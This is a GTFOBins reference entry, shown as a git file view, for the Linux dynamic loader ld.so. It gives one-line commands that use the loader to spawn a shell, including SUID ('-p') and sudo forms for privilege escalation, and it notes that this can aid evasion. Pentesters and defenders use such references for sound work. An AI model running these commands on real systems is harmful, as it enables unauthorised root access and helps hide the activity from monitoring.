GTFOBins.github.io/_gtfobins/ld.so.md
Eli McRae 1fe673ce5d
Update ld.so.md
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
2023-09-02 10:59:17 +02:00

585 B

description functions
`ld.so` is the Linux dynamic linker/loader, its filename and location might change across distributions. The proper path is can be obtained with: ``` $ strings /proc/self/exe | head -1 /lib64/ld-linux-x86-64.so.2 ``` It's worth noting that the spawned process will be the loader, not the target executable, this might aid evasion. See https://shyft.us/posts/20230526_linux_command_proxy.html for more information.
shell suid sudo
code
/lib/ld.so /bin/sh
code
./ld.so /bin/sh -p
code
sudo /lib/ld.so /bin/sh